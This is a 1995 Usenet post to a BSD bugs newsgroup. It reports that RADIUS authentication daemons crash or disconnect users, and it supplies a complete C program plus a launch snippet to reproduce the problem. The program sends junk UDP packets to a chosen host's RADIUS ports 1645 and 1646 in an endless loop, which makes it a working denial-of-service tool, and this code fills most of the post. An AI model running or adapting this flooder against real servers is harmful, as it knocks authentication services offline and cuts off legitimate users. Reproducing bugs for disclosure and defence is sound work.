*BSD News Article 47026

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From: jay@gate.net (Jay)
Newsgroups: comp.bugs.2bsd
Subject: BIG PROBLEM WITH UDP & PORTMASTERS >>>>
Date: 19 Jul 1995 23:51:40 GMT
Lines: 74
Message-ID: <3uk5qc$1sos@news.gate.net>
NNTP-Posting-Host: navajo.gate.net
X-Newsreader: TIN [version 1.2 PL2]


There seems to be a problem hmmm hers a snipit to recreate the problem
ie radiusd coredumping/ignoreing users & sometimes just dissconecting them
UDP SUCKS
i hope this problem is fixed fast

most effective if run on the hosts system ie use a script
#!/bin/sh
killrad hostname&
killscript


BEGIN CODE :)

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

char msg[128]={"slkjfslkaf;lsrjf;osfjaiso;jqwoilkjfwqo;rjioqrg"};
extern int errno;

void main(int argc, char *argv[])
{
 struct hostent *h;
 struct sockaddr_in sin;
 int i,j,k,l;
 unsigned long ip;
 if (argc!=2)
 {
  printf("\nUsage: %s hostname\n",argv[0]);
  return;
 }
 h=gethostbyname(argv[1]);
 if(h==NULL) h=gethostbyname(argv[1]); /* Workaround stupid Linux bug */
 if(h==NULL)
 {
  printf("Host '%s' cannot be found.\n",argv[1]);
  return;
 }
 if(h->h_addrtype!=AF_INET)
 { /* Should _never_ happen */
  printf("Host not an Internet host.\n");
  return;
 }
 /* IP is in nw byte order */
 ip=*(unsigned long *)(*h->h_addr_list);
 printf("Address is %s\n",inet_ntoa(ip));
 i=socket(AF_INET,SOCK_DGRAM,0);
 if(i<2) { printf("Socket open error\n"); return; }
 sin.sin_family=AF_INET;
 sin.sin_port=0;
 sin.sin_addr.s_addr=0;
 k=bind(i,(struct sockaddr *)&sin,sizeof(sin));
 if(k) { printf("Bind error\n"); return; }
 sin.sin_addr.s_addr=ip;
 while(1)
 {
  sin.sin_port=htons(1645);
  j=sendto(i,msg,time(NULL)%sizeof(msg),0,(struct sockaddr *)&sin,sizeof(sin));
  if(j==-1) printf("-"); else printf("+"); fflush(stdout);
  sin.sin_port=htons(1646);
  j=sendto(i,msg,time(NULL)%sizeof(msg),0,(struct sockaddr *)&sin,sizeof(sin));
  if(j==-1) printf("-"); else printf("+"); fflush(stdout);
 }
}




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